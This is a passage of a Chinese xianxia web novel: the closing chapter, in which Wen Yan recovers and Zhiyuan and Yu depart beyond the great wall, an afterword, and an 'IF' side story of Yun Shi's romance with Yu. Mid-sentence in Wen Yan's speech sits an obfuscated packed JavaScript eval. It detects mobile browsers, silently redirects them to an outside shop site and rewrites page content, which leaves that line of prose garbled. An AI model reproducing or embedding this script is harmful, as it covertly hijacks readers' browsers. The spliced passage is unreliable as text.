在予不计代价的珍贵丹药和精妙急救手法,以及那件破损法衣残存纹路的顽强维系下,温言那口气,竟然真的被吊住了。几个时辰后,当万象无常殿的执雪仙尊带着数位顶尖医道长老,以近乎撕裂空间的速度赶到时,温言依旧处于深度昏迷,但那一线微弱的生机,奇迹般地没有断绝。 接下来的日子,在一种诡异的、混合着悲怆、混乱与期待的气氛中度过。界碑天失去了他们的创建者和精神象征,云实的死和流衍的“叛变”式刺杀与自爆,带来了巨大的冲击与迷茫。温言一方,主帅濒死、新朝骤逢巨变,也陷入了暂时的群龙无首和内部震荡。天蕴凭借其威望与实力,在执雪仙尊等人的协助下,艰难地维持着基本的秩序,避免双方残部在悲愤与恐慌中再次爆发全面厮杀。 半个月后,在万象无常殿倾尽全力的救治,以及那件堪称奇迹的法衣持续发挥的、连执雪仙尊都啧啧称奇的维系作用下,温言苏醒了。虽然极其虚弱,修为大跌,道基受损严重,需要漫长的时间休养,但他终究是活了下来。 醒来后的温言,听完了事件的全部汇报,沉默了许久。他召见了在救治过程中出力极大的予,以及一直协助稳定局面的纸鸢和天蕴。 在临时布置的、仍带着战火痕迹的行营内,温言靠在软榻上,脸色苍白,但眼神已经恢复了往日的深邃与清明,只是深处多了一丝难以言喻的复杂与疲惫。他首先郑重地向予和执雪仙尊表达了救命之恩,承诺万象无常殿将获得新朝永久的友谊与最高规格的礼遇及资源支持。接着,他看向纸鸢和天蕴。 “云实道友之事……令人扼腕。”他的声音有些沙哑,带着真实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16938823|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的惋惜,“理念之争,竟至于斯……流衍道友,唉。” 他摇了摇头,没有深谈那场刺杀的细节与原因,似乎那已成不愿触碰的禁忌。 “界碑天民众,皆是我花夏子民。此前种种,皆因误解与立场不同。朕……我承诺,凡愿归顺新朝、遵纪守法者,既往不咎,且将一视同仁,给予土地、生计之安置,助其重建家园。云实道友生前诸多巧思发明,于民生大有裨益,当妥善整理,择其善者推广天下,惠及万民。此亦为……告慰他在天之灵。” 他看向纸鸢,语气温和:“纸鸢姑娘于危难之际,通传讯息,协助稳定,功不可没。新朝百废待兴,尤重商贸流通,姑娘才干卓著,不知可否愿为朝廷效力?朕可许你商务要职,掌一方之贸易,施展抱负。” 说着,示意身旁侍从捧上一枚铸造精美、蕴含灵光的纯金奖牌,象征着巨大的荣誉和未来的赏赐。 纸鸢垂着眼,接过那枚沉甸甸、冷冰冰的金牌,脸上没有任何欣喜,只有一片近乎麻木的平静。她屈膝行了一礼,声音干涩:“谢陛下隆恩。民女才疏学浅,且身心俱疲,恐难当大任,需些时日……休整思量。” 温言看了她一眼,没有勉强,点了点头:“姑娘可慢慢考虑,此承诺长期有效。” 他又对天蕴道:“天蕴仙尊,此番多亏贵宗鼎力相助。天衡宗护持一方、传承有序,朕心甚慰。日后朝廷与修仙各派,当时常往来,共□□定。仙尊若有需朝廷支持之处,但说无妨。” 天蕴行礼应下,神色清冷依旧,但眉宇间那份对温言的戒备与疏离,似乎因这段时日的并肩“善后”而稍有缓和。 感谢与封赏的大典草草举行,带着战后的仓促与一种说不清的压抑。仪式结束后,纸鸢回到临时住处,看着手中那枚精工细作、足以让无数人眼红的纯金奖牌,第一个念头竟是这金子成色极佳,熔了卖掉,应该能换不少实在的灵石和物资,或许……可以帮到界碑天那些失去倚靠的遗民,或者,作为自己将来远行的盘缠。 她正出神,房门被轻轻敲响。予走了进来,脸上没了往日跳脱的神采,也带着深深的疲惫和一种未散的恍惚。 “纸鸢……”他挠了挠头,在她对面坐下,沉默了好一会儿,才低声说,“我……我现在还有点像在做梦。云实,流衍师兄,怎么就……温大人倒是活过来了,可是……” 他不知该如何形容心里的感受,那并非单纯的悲伤,而是一种巨大的空洞和荒谬感。 “是啊。”纸鸢轻轻摩挲着冰凉的奖牌,目光没有焦点,“像一场荒唐的梦。打打杀杀,你死我活,最后……活下来的,穿着死人做的衣服;想保护的,死在了想保护的人手里;坚持的‘道’,好像赢了,又好像什么都没改变。” 她顿了顿,声音更轻,“我有点……不知道接下来该干什么了。做生意?赚再多钱,好像也没了味道。” 予看着她眼中的茫然,犹豫了一下,从怀里掏出一块非金非木、刻着复杂云纹的令牌,放在桌上。 “温大人赏的,说是感念救命之恩,特许的‘无禁通行令’。持此令,可自由通行于新朝疆域内外,包括……那道‘墙’。” 他抬眼看向纸鸢,眼中有了点微弱的光,“墙外面……到底什么样?我们总听人说危险,荒凉,但也有人说广阔,不一样。云实哥以前好像也提过,外面可能……没那么简单。你说……我们出去看看?就当……散散心,也当是替云实,流衍,看看他们没机会看到的世界?” 纸鸢的目光落在令牌上,又缓缓移到予的脸上。少年眼中那份混杂着悲伤、困惑与强烈好奇的光芒,触动了她心底某种沉寂的东西。离开这里,离开这片浸透了鲜血、泪水、算计与短暂温情回忆的土地,去一个完全未知的地方…… 她沉默了很久,久到予几乎以为她拒绝了。终于,她伸手,拿起了那块通行令,指尖感受到一种奇异的、仿佛能穿透界限的微凉。 “好。”她听见自己说,声音不大,却带着一种斩断什么的决然,“我们出去看看。” (全文完) 后记: 新朝在温言的统治下,确实展现出了与以往不同的气象。大规模的战争停止,秩序以强有力的手段得以恢复,许多惠民的法令颁布,流民得到一定安置,生产开始缓慢复苏。温言兑现了部分承诺,对界碑天遗民进行了相对妥善的迁移和安置,并未进行清洗。 云舒和云珠在官方的许可,甚至可以说是鼓励下,得以公开传授云实留下的织理技艺。云舒被正式授予织理导师的名衔,在新建的工艺院中开班授业。她沉静少言,但教导耐心细致,将哥哥那些看似杂乱却蕴含独特规律的技术,系统地整理、简化,使之更适合普通人学习掌握。云珠作为她的助手和学生,天赋得以施展,进步神速,两人在生活上也相互扶持。云实的技术,以一种他未曾预料到的、被“招安”后的正统方式,开始缓慢流传。 界碑林那片被清理出来的广阔土地,以及大自在天遗留的部分相对稳定的区域,被新朝规划为新的居住区和资源点,纳入统一管理。温言展现了高超的政治手腕,对原大自在天的一些势力进行了分化、拉拢和有限度的接纳,并未一味剿杀,因此抵抗虽有,但大规模的冲突确实减少了。 天蕴与温言的关系,在共同处理战后事宜、稳定修仙界秩序的过程中,变得微妙而务实。天衡宗得到了新朝的认可和一定支持,维持着超然地位,同时也承担起部分协调各派的责任。两人之间,少了几分过去的针锋相对,多了几分基于现实利益的默契与必要的合作。 纸鸢曾通过某些隐秘渠道,听到一些难以证实的传闻。 流衍在刺杀前,似乎无意中得知了温言暗中推动的某些真正旨在改善底层民生的、并未公开宣扬的计划,或者听到了关于温言早年某些真实善举的细节。 这些与他心目中那个纯粹野心家的形象产生了剧烈冲突,加剧了他因修为尽废、自我价值缺失而产生的心魔,最终可能促使他走向了那条极端而惨烈的绝路。 杀死“偏离正道、引发战乱”的云实,再与“虚伪难辨、却可能带来另一种未来”的温言同归于尽,以此完成某种扭曲的“赎罪”与“抉择”。 当然,这只是传闻,真相已随当事人彻底湮灭。 纸鸢离开前,带走了云实的骨灰,以及几件他早期制作的、对她而言意义特殊的作品。 那枚粗糙的第一次成功的温养玉简,一块绣着最初“光滤布”纹样的素纱残片。 云实其余大部分发明原型和研究手稿,被新朝接收,经过整理后,部分放入新设立的博览院中展览,作为“民间奇才技艺”的象征,供人瞻仰。流衍那几乎不剩什么的遗骸,经天蕴同意,纸鸢也收敛了少许灰烬,一同带走。 云实的家人,在温言的特意关照下团聚了。父母被接到京城,与身居高位的弟弟云岭同住,安享晚年。云岭仕途平稳,已成家立业,对过往讳莫如深,对兄长之死只余复杂叹息。一家人生活富足安稳,仿佛昔日的颠沛流离与生死抉择,只是一场遥远的噩梦。温言本人,也在朝局稳定后不久,举行了大婚,娶了一位家世、品行、容貌皆无可挑剔的女子为后,昭示着新朝步入正轨,传承有序。 纸鸢和予,在一个雾气朦胧的清晨,悄无声息地离开了京城。他们来到了那道隔绝花夏与外界已久、高达数十丈、在雾霭中宛如沉睡巨兽脊背般的沉默巨墙之下。验证过令牌,沉重的侧门在机关运转声中缓缓打开一道缝隙,仅容两人通过。门后,是朦胧未知的雾气,和传说中更加荒芜、危险,却也可能是更加广阔、真实的世界。 踏出城门,脚下的土地似乎都变得粗粝陌生了些。纸鸢最后回头望了一眼身后逐渐合拢、消失在浓雾中的门缝,仿佛将过往的一切都关在了里面。她转过头,看向身旁同样有些怔忡的予,忽然想起一个搁置许久的疑问。 “对了,”她开口,声音在空旷寂静的墙外显得清晰,“你父亲……是万象无常殿的执雪仙尊?”她顿了顿,眉头微蹙,“这我到现在才算完全确定。之前只知道你家里在殿里有些关系,没想到是仙尊本尊……那之前打仗最乱的时候,你爹……仙尊他人呢?就任由你在外面乱跑,还卷进这么多要命的事里?” 予正深一脚浅一脚地适应着墙外松软崎岖的地面,闻言脚步顿了一下,脸上那点故作的轻松有点挂不住。 他挠了挠头,难得露出些窘迫和无奈:“呃……这个嘛。仙尊儿子弱成我这样,灵根不成,修为稀松,说出来不是给他老人家丢人现眼嘛。殿里好些人本来就看我不顺眼,要是再顶个仙尊之子的名头,指背脊的唾沫星子都能淹死我。所以……能不说就不说呗。” 他踢开一块小石子,声音低了些:“至于打仗的时候……他其实知道我在哪儿,在干什么。后方好些来不及撤走的重伤员,尤其是两边都有些、但身份敏感不好公然救治的,我能找到地方安置,偷偷送药……里头多少有他睁只眼闭只眼,甚至暗中行过方便。不然你以为我那点私房钱和面子,真能调动那些资源?他只是……不能明着插手罢了。” 纸鸢静静听着,没有太多惊讶,只是轻轻叹了口气,目光望向前面似乎永无尽头的雾霭。 “这些事,你早该告诉我。”她的声音里带着长途跋涉后的疲惫,和一丝不易察觉的柔软,“到了现在,云实没了,流衍也没了,天蕴师姐有她的责任和路,云舒妹妹有要务在身,温言那边……更是镜花水月。予,我好像……就剩你这么一个能说真心话、敢把后背交出去的朋友了。以后有什么事别瞒着我了,行吗?” 予的心像是被什么东西轻轻撞了一下,那层惯常用来伪装跳脱无忧的外壳,在这个离弃一切、前途未卜的荒芜之地,面对纸鸢如此直接的信任,终于出现了裂痕。他沉默了片刻,手指无意识地捻着衣角,似乎在做一个艰难的决定。 “……好。”他终于开口,声音比平时低沉许多,“既然这样……纸鸢姐,那我再告诉你一件事。这件事,在殿里也只有我爹和极少数老仆知道,是我从小到大……最想藏起来的。” 他深吸了一口气,仿佛要凝聚所有勇气,目光却避开了纸鸢的视线,投向脚下混浊的雾气。 “我不是男的。”他飞快地说,语速快得像怕自己后悔,“也不是……完全的女子。我是双性人。生下来就这样。这是我爹身为仙尊,却始终无法真正让我融入殿内核心、甚至我自己也常常觉得格格不入的主要原因。在外,为了方便,也为了少些麻烦,就一直当男孩养着了。” 说完,他像卸下了千斤重担,肩膀微微垮下,却又立刻绷紧,等待着预料中的惊讶、审视、或哪怕一丝一毫的异样眼光。 纸鸢确实愣住了。她眨了眨眼,消化着这个突如其来的信息。予是双性人?这个秘密比他爹是仙尊更让她意外。 “就这?”她的声音恢复了平日的爽利,甚至带上了一点如释重负的轻快,“我还以为你要说什么天塌下来的大事。管你什么性别,是男是女还是别的什么,你是予,是我认识的那个有点烦人、有点怂但关键时刻还算靠谱、会偷偷帮忙救人的予。这就够了。” 她收回手,继续往前走去,语气变得不容置疑:“以后我们在这墙外头,还不知道要遇到什么牛鬼蛇神。是男是女不重要,能不能互相照应、活着看到更多不一样的风景,才重要。而且我觉得你的提议是对的。我看到了温言带来的改变,有些确实不错,比之前好。但我好像也……更清楚地看见了另一些东西。一些根深蒂固的,不会因为谁死了、谁赢了、谁推行了新法就轻易改变的东西。” 予怔怔地看着纸鸢毫不犹豫向前走的背影,肩膀慢慢松弛下来,眼眶忽然有些发热。他用力吸了吸鼻子,把那股酸涩压下去,脸上重新绽开那个熟悉的、带着点傻气的笑容,快步跟了上去,声音清脆:“好嘞!纸鸢姐,以后可就全靠你罩着啦!等等我,这路不好走!至于改变……害,我觉得云实这不是没死嘛,他的骨灰还在我包里背着呢!” “……我收回我说的话。” “哎?!” 墙内的世界,在新帝的统治下,迎来了一段相对平稳、甚至偶有亮色的时期。 云实的技术被有限度地、去除了敏感思想内核后推广应用,确实改善着部分人的生活。他的故事,和他的“异端”思想一起,被官方小心翼翼地修饰、定义。 一个“误入歧途但天资卓绝的匠人”,其部分“奇技”可资利用,其“危险学说”则被归档封存,或成为民间暧昧不明的隐秘传说。有人私下怀念他带来的那点不一样的可能,有人唾弃他引发的动荡与背叛,更多的人,在日复一日的劳作与生计中,渐渐淡忘了那个名字和那段鲜血浸透的往事。 只有极少数曾置身漩涡中心的人还记得,一切故事的拐点,或许并非始于什么惊天动地的宣言或战斗,而仅仅来源于一个最低级的、被随手赠与的粗布储物袋。那个袋子解决了布料发霉的难题,也像一枚冰冷的楔子,钉进了某个年轻布料商之子对世界原本平和的认知里,撬开了第一道怀疑与不甘的缝隙。 如今,袋子早已不知所踪,连它最初粗陋,不起眼,却切实改变了云家布料店命运的样子,也只在最尘封的私人记忆里,还残留着一点模糊的轮廓。官方浩如烟海的卷宗里,自然不会记载这样一个微不足道的开端;后世或许流传的演义中,也只会浓墨重彩于仙尊对决、理念碰撞与惨烈终局。 云实死了吗? 在青石镇云家逐渐模糊的记忆里,在界碑天遗民偶尔的唏嘘中,在博览院那冰冷的展柜标签上,在新朝史官笔下那寥寥数语、定性明确的记载里,在温言某个夜深人静时或许闪过的复杂思绪里,在纸鸢随身行囊那一小坛冰凉的灰烬中—— 他大约的确已经死了。 30.IF彩蛋[番外] 云实抚摸着那个灰扑扑的储物袋,指尖传来的是一种非布非革、冰凉滑腻的触感,与他家柜台上所有熟悉的布料都不同。就是这个不起眼的小袋子,装下了原本需要占据半间库房的坯布,并且袋中取出的布料干燥挺括,连日来的阴雨潮气没有在上面留下丝毫痕迹。 仙凡之隔,原来不在腾云驾雾,不在飞剑流光,而在这种……维度的差异上。一个仙门弟子眼中随手丢弃的垃圾,足以解决云家世代为之头疼的仓储难题。 一股滚烫的热流从心底窜起,混合着不甘、渴望,还有一种被巨大鸿沟所嘲弄的屈辱。他想去。想去看看那个世界,想弄明白这“维度”究竟是什么,想让自己和家人,至少不再为一场雨、一阵潮气而提心吊胆。 “爹,娘,我想……” 晚饭时,他看着父亲尚未完全痊愈的手臂,和母亲鬓角新添的细纹,话到嘴边,滚了几滚。 父亲云天青放下筷子,沉默地看了他一会儿,叹了口气:“实儿,那袋子,好用吗?” “好用!简直神了!”云实急切道,“如果我们能有更多,不,哪怕就这一个,我们的生意能好做很多!而且,我想……” “好用,就先用着。”父亲打断了他,声音不高,却带着不容置疑的定锚之力,“仙人的东西,我们用用就好。仙人走的路,不是我们该想的。” 母亲也开口,声音温柔却如丝线捆缚:“你弟弟云岭功课正好,先生说他明年有望过县试。妹妹云舒也大了,针线出息,将来总要一份体面嫁妆。店里……离不开你。那仙人路,听说步步凶险,多少有灵根的都折在半道。咱们平平安安,把家业守住,看着弟妹出息,比什么都强。” 那股热流,在父母交织的、充满现实忧虑与关爱的话语中,渐渐冷却、凝固,沉甸甸地压回心底最深处。 他想去。但他更怕。怕自己一去不回,怕这刚刚看到转机的家再度崩塌,怕父母眼中那比责备更令他无法承受的失望与担忧。 “嗯。”他最终垂下头,扒了一口饭,含糊道,“我就是说说。袋子……我会用好。” 修仙的渴望,像一颗被匆忙掩埋的火种,没有熄灭,只是被厚厚的、名为责任与亲情的土壤盖住了。云实开始更努力地经营云锦记。那个储物袋成了他最大的秘密和倚仗。生意果然好了起来,家里的笑声多了,给云岭买书的银钱宽裕了,云舒也能添些时新的头绳。 只是偶尔,在深夜盘完账,听着窗外更夫遥远的梆子声时,他会下意识地摩挲那个储物袋,心里某个角落会泛起一丝空洞的痒。那是对另一个维度无从消解的好奇,也是对自身命运的、一声极轻的叹息。 改变以另一种方式到来。 那年秋天,青石镇来了个奇怪的年轻人。 他自称予,看着二十出头,模样周正,但眉眼间总有一股挥之不去的惫懒和心不在焉的优越感。他在镇东头租了个小院,不大与镇民深交,却对镇上各家铺子卖的零碎玩意感兴趣,花钱有些大手大脚,又时常抱怨东西粗糙。 很快,他逛到了云锦记。 予的手指拂过架上的布料,不像寻常顾客检视质地,倒像在触摸什么有趣但无关紧要的纹理。 “唔,南边的染法,固色差了些。这织工……啧,灵气……哦不,劲儿没使匀。”他随口点评,带着一种理所当然的冒犯,仿佛这小镇店铺里的东西,合该被他品头论足一番。 云实脸上的职业笑容淡了些。平日里听顾客挑剔是常事,但眼前这年轻人的语气让他心头无端窜起一小簇火苗。这人衣着不算顶华贵,但料子剪裁透着说不出的妥帖,站姿松垮却隐隐有种“这地方配不上我仔细打量”的意味。 云实最烦这种眼神。 他正想按惯例赔几句“客人好眼力,小店尽力改进”的场面话糊弄过去,话到嘴边却变了味儿,硬邦邦地挤出一句:“料子粗陋,怠慢贵客了。那边有刚到的新款,颜色鲜亮些。” 予似乎这才把目光从布料上移开,真正落到云实脸上。他看到云实抿紧的嘴角和眼底那丝没藏好的恼意,非但没觉得尴尬,那双半耷拉着的眼睛里反而掠过一点极淡的、近乎玩味的笑意。 “啧,老板脾气不小。”予收回手,摸了摸自己的鼻子,“我这人嘴快,看见东西就爱瞎叨叨两句,没坏心。”他眨了下眼,语气放软了些,甚至带了点自嘲,“家里以前开过染坊,毛病落下了,见谅啊。” 这直白的道歉和突然转换的态度,让云实一拳打在棉花上,那点闷气发不出来,又咽不回去,只好干巴巴道:“无事。” 气氛有点僵。 予却像没察觉似的,目光在店里逡巡半圈,又落回云实脸上,这次带了点认真的好奇:“不过老板,你这批靛蓝坯布,”他随手又指了指架子上那匹,“经纬倒是匀称得很,难得在咱们这潮气重的地方,没见着霉星星点点的。是库房拾掇得特别干爽?” 这话问到了云实处。不是泛泛的挑剔,而是注意到了他暗自下过功夫、也确实引以为傲的一点——防潮处理。 云实犹豫了一下。他抿了抿唇,没接关于库房的话茬,而是突然弯下腰,从柜台底下一个不起眼的角落里,抽出了一匹布,动作带着点赌气般的郑重。 那布卷展开的瞬间,午后斜射进店堂的光线仿佛被吸附了过去。是一种极沉静、极均匀的靛青,不像寻常染坊出品那般色块深浅不均,而是通体透着一股温润如玉的光泽,布面平整细腻,几乎看不到织造时难免的结节。这是他用储物袋特殊环境存放的最好的那批胚布,又将自己琢磨了很久的染液配方和浸染手法反复试验,失败了许多次才得的寥寥数匹之一,平时舍不得拿出来卖,只当是个念想和标杆。 他没说话,只是将布匹往予面前一递。 予“咦”了一声,那点惫懒和玩味瞬间收起。他接过布匹,手指捻动的力度和角度都变了,变得谨慎而专注。布料在他指尖摩擦,发出极其细微的、均匀的沙沙声。他将其举高,对着光细看经纬的走向和染色的透度,甚至还凑近,极轻地嗅了一下。 然后,他抬眼看向云实,那双总是半耷拉着的眼睛此刻清亮,里面清晰的讶异再也藏不住。 “这个……有点意思。”他顿了顿,手指无意识地摩挲着布边,“存放得法自不必说……但这染色,均匀得过分了,几乎锁死了纤维的‘气孔’……你染的时候,是不是加了点凝神草的汁液?不对,那玩意儿……” 他像是自言自语,又像在询问,目光探究地落在云实脸上。 云实心中一震。这草他听都没听过。但予说出这个词时的笃定,以及对自己这匹布特质的精准描述都让他瞬间明白:眼前这人不是瞎蒙,他是真的懂,懂的可能还是自己完全没接触过的、另一个层面的东西。 “没有草。”云实听到自己干涩的声音回答,手指无意识地抠着柜台边缘,“就是……多浸了几道,火候多看了一会儿。” 他没法解释储物袋对胚布状态的改变,只能含糊其辞。 予看了他两秒,忽然笑了。是一种近似于……“找到同类”的兴致盎然,虽然这“同类”看起来还懵懂得很。 “只看火候可染不出这样。”予将布匹小心地递回,语气恢复了之前的随意,但那随意里多了份实实在在的赞赏,“老板,深藏不露啊。这匹布,别说在青石镇,就是放到……嗯,放到一些讲究的地方,也够格当样布了。”他拍了拍手上并不存在的灰,“刚才是我眼拙,瞎咧咧了。你这店,有点东西。” 云实接过布,那沉静的靛青色似乎都因这几句话而暖了些。他心里的那点气,早在予认真审视布料时就不知不觉散了。 “客人过奖了。”他低声道,这次的话里少了僵硬。 “叫我予就行。”年轻人摆摆手,又恢复了那副懒洋洋的样子,仿佛刚才的专注只是错觉,“这布卖吗?价钱好说。” 云实犹豫了一下,摇摇头:“就这一匹了,不卖的。” 予挑了挑眉,倒也没强求,只是惋惜地咂咂嘴:“可惜。” 他目光在云实脸上转了一圈,忽然道:“老板怎么称呼?” “云实。云彩的云,实在的实。” “云实……”予念了一遍,点点头,“好名字。人实在,东西也实在。”他掏出一小块银子放在柜台上,指了指旁边那匹最初被他批评的料子,“这匹我买了,裁点东西。另外,”他顿了顿,看向云实,嘴角又勾起那种有点欠揍、但此刻看来并不讨厌的笑,“下回要是再染出这样的好东西,可以来镇东头河边那间租院找我聊聊。我那儿,别的没有,乱七八糟的见闻和……一些用不上的小零碎,倒是不少。” 说完,他也不等云实回答,拎起伙计包好的布料,挥了挥手,便晃晃悠悠地走出了店门,融入门外小镇午后的阳光里。 这个叫予的奇怪年轻人,像一颗石子,投进了他平静如潭水的生活里。潭水表面涟漪渐散,但深处,似乎有什么东西,被轻轻搅动了一下。一来二去,予成了云锦记的常客。他有时买点布,更多时候是来闲坐,带着外头的点心,分给云实吃,说些云实从未听过的趣闻。他说起过京城的繁华,说过修仙宗门的考校,更多的是用一种懒洋洋的、自嘲的口吻,说起自己如何被测出“几乎等于没有”的灵根,如何在家族安排下进了个名门混日子,又如何因为“实在不是这块料”被“劝退”,索性拿了一笔钱出来游荡,美其名曰“历练红尘”。 “修仙?没劲。”予咬着云实家卖的芝麻糖饼,含糊地说,“规矩比牛毛多,资源争得头破血流。像我这种,进去就是垫底的,看人脸色,伺候天才,图什么?不如现在,有钱,自在。” 这些话,奇异地抚慰了云实心底那点不甘。看,连予这样见过世面、似乎出身不错的人,都认为修仙“没劲”,都选择了离开。那自己这点微末的、连灵根都谈不上的念想,又算什么呢? 予的存在,像一扇窗,让云实窥见了那个世界的一角光影,但予同时用自身的选择,为这扇窗装上了栅栏。他让云实觉得:哦,原来那个世界也不过如此,不去,似乎也没什么可惜。 云实和予的关系日渐亲近。予会帮云实琢磨些改善染料的土法子(虽然常常失败),会嘲笑云实记账太死板,也会在云实被难缠客人气得头疼时,拉他去河边喝酒,说些不着边际的笑话。 云实第一次喝醉,是予带来的仙酿残次品,劲儿很大。他靠在予的肩膀上,看着河面上破碎的星光,迷迷糊糊地说:“其实……那个袋子……是储物袋。” 予的身体似乎僵了一下,随即放松,轻笑:“猜到了。不然你家布料最近品相怎么好了不少。”他顿了顿,声音在夜色里有些飘忽,“想过用那个做点别的吗?或者……自己去弄明白它怎么来的?” 云实沉默了很久,酒意和夜风让他格外诚实:“想过。但……不敢。也……不能。” 予没再追问,只是拍了拍他的背。那个带着体温的、简单的触碰,让云实心中那块空洞的痒,似乎被什么东西暂时填满了。不是解惑,而是一种被理解的慰藉。 后来,他们常在一起。予不再租房子,有时干脆宿在云实家店铺的后院厢房。父母起初有些微词,但看予虽然古怪,却从无恶行,反而似乎让一向沉闷的儿子脸上多了笑容,便也默许。 云实知道镇上有流言。两个男人,走得这般近,总是不合常理。但他奇异地并不太在乎。予就像他沉闷生命里一股外来的、带着些许刺激的风,吹散了那些积年的、关于修仙与平凡的焦虑尘埃。和予在一起,他可以暂时不用去想云锦记的明天,不用去想弟弟的功课、妹妹的婚事,不用去想自己这辈子是不是就这样了。 那个夏夜,他们并排躺在后院纳凉的竹席上。星河低垂,露水初凝,远处传来模糊的蛙鸣。予嘴里叼着根草茎,忽然含糊地说:“你知道吗,墙外……跟这儿完全不一样。” “墙外?”云实愣了下,才想起帝国封闭的边界,那堵据说高耸入云、隔绝一切的巨墙。 “嗯,更荒,更乱,什么奇怪的玩意儿都有。但也更真。”予吐出草茎,声音在夜风里飘着,“没这么多弯弯绕绕的规矩,没这么多理该如此。活着就是活着,死了就是死了,像野草,像石头。” 云实沉默着。他想起那个储物袋,想起苏妄他们争斗时那种漠视一切、却又仿佛触及世界本质的力量。墙外,就是那种感觉的放大吗?更真,也更危险。 “你想去?”云实侧过头,在昏暗里看着予模糊的侧脸轮廓。 予在黑暗中笑了笑,没有直接回答,反而问:“你呢?如果有一天,你攒够了钱,弟妹都安顿好了,父母也理解了……你会想出去看看吗?不一定是修仙,就是……出去。看看墙到底有多高,看看外面的荒原到底长什么样,看看是不是真有吃人的风和不落地的鸟。” 云实望着星空,那星河仿佛一条冰冷的、发光的河流,亘古不变地流淌。 出去看看?这个念头像一颗遥远的火星,在他心口烫了一下,随即被更庞大的现实感冷却。 “我……”他张了张嘴,喉咙有些干,“我不知道。这儿……有太多放不下。” 予忽然翻了个身,面朝着他。黑暗中,他的眼睛很亮,没有平日那种惫懒,也没有那种置身事外的优越,是一种罕见的、近乎锐利的认真。 “云实,”他说,声音很轻,却像锤子敲在云实心上,“你有没有想过,你放不下的这些东西,也在……困住你?” 云实呼吸一滞。 “我不是说它们不好。”予的语气缓和下来,重新带上那种惯常的、有点欠揍的随意,但内核依然是认真的,“家,铺子,责任,都很好。但如果你心里那点火从来没灭过……别否认,我看得出来。那你待在这里,每安稳一天,那火就闷烧一天,烧的不是别人,是你自己。” “我可以的,”云实下意识地反驳,声音却有点虚,“我现在……也挺好。” “是,挺好。”予躺回去,双手枕在脑后,“稳稳当当地赚钱,安安稳稳地成家,生几个孩子,把云锦记传下去,最后变成青石镇后山上一块碑。这就是‘挺好’。”他顿了顿,“可你摸过那个储物袋。你知道世界不只是青石镇这么大。你知道有墙。你知道墙外有东西。” “知道了又怎样?”云实的声音里带上了一丝他自己都没察觉的委屈和烦躁,“知道了就得去吗?知道了就能抛开一切吗?予,不是每个人都像你,可以想来就来,想走就走!你有你的路,我有我的!” 话一出口,两人都沉默了。夜风似乎都停滞了。 过了很久,予才轻轻叹了口气,那叹息里没有责备,只有一种深切的、云实当时无法完全理解的……理解。 “你说得对。”予说,“我不是你。我没你的担子,也没你的……根。”他侧过脸,再次看向云实,眼神在星光下显得格外柔和,“所以,云实,我不是来劝你走的。我是来告诉你,如果,我是说如果,有一天,你觉得这里的‘挺好’已经不够了,你觉得那团火快要把你自己烧穿了,你想起墙,想起外面,想起那个不一样的‘真’……” 他伸出手,握住了云实放在竹席上的手。他的手心干燥温暖,带着一种坚定的力量。 “到那时,别怕。”予一字一句地说,“我认识路。我虽然是个被‘劝退’的废物,但好歹……知道墙的裂缝在哪,知道怎么在荒原里找水,知道哪些‘奇怪的玩意儿’可以躲,哪些可以揍。” 云实愣愣地看着他,心脏在胸腔里狂跳。 “你……”云实的声音有些哑,“你为什么……?” 予似乎轻轻笑了一下,那笑声很低,带着气音,在静谧的夜里有些挠人。他替云实说完了那句未尽之问:“为什么对你好?” 他侧过身,用一只手支起脑袋,在昏暗的光线下打量着云实。云实能感觉到他的目光,不像平时那种散漫或审视,而是更专注,更……直接。 “一开始啊,”予开口,语气是罕见的坦诚,甚至带着点戏谑的粗直,“大概就是……见色起意?” 云实呼吸一滞,脸腾地热了,好在夜色浓重,看不分明。他没想到予会说得这么……这么不加掩饰。 “你刚站柜台后头,低着头打算盘,侧脸在油灯底下,看着……挺顺眼。”予的语气自然得像在评论天气,指尖却无意识地,轻轻勾住了云实散在竹席上的一缕头发,绕在指间把玩,“穿着最普通的棉布衣裳,腰板挺得笔直,说话客气,但眼睛里没多少热乎气,像个……漂亮又憋闷的瓷娃娃,让人想看看敲一下会不会有别的声音。” “后来你拿出那匹布,”予的声音低了下去,指尖松开那缕头发,转而轻轻碰了碰云实的手背,一触即分,却留下清晰的触感,“眼神不一样了。有点赌气,有点炫耀,还有点……藏着掖着怕人知道、却又实在压不住的宝贝劲儿。我就想,哦,这瓷娃娃心里原来是有火的,只是拿厚布盖得严严实实,光用来熨帖布料、温暖家人了。” 他的手指这次没有离开,而是顺着云实的手腕慢慢滑下去,最终将他的手握进掌心。予的掌心温暖干燥,带着一种不容置疑的力度。 “再后来,看你一天到晚忙得脚不沾地,对爹娘弟妹掏心掏肺的好,对自己却抠抠搜搜;看你明明对那个袋子、对我说的外面的事情好奇得要命,却硬逼着自己转身去算账、去搬货;看你偶尔走神望着远处,眼神空空的,那火苗在里头一闪一闪,快把自己烧穿了似的……” 予握着他的手紧了紧,声音里那点戏谑彻底消失了,只剩下一种沉甸甸的、几乎烫人的认真。 “云实,我看着看着,就忘了最开始只是觉得你顺眼了。”他凑近了些,气息拂在云实耳畔,带着夜露的微凉和自身的温热,“我开始觉得,这火就这么闷着,太可惜了。不是可惜它不能烧出什么名堂,是可惜它……烧的是你自己。我就在想,这火要是能分我一点就好了,我帮你一起烧。或者……至少让我在旁边看着,别让它把你一个人烧空了。” 他停顿了一下,似乎在组织语言,最终吐出的字句简单直白,却重如千钧:“现在不是见色起意了。现在是真喜欢上你了。喜欢看你认真做事的样子,喜欢看你被我逗得憋气又不好发作的样子,喜欢你心里那团烧不灭的火……更喜欢你这个人。” “所以,为什么对你好?”予自嘲地笑了笑,拇指轻轻摩挲着云实的虎口,“哪儿有那么多因为所以。大概就是……我这个人又懒又没定性,可在你这儿,看着你这团闷烧的火,我这颗到处飘的魂儿,就莫名其妙想落下来,想凑近点取暖,也想……替你挡挡风,哪怕就挡一点点。” 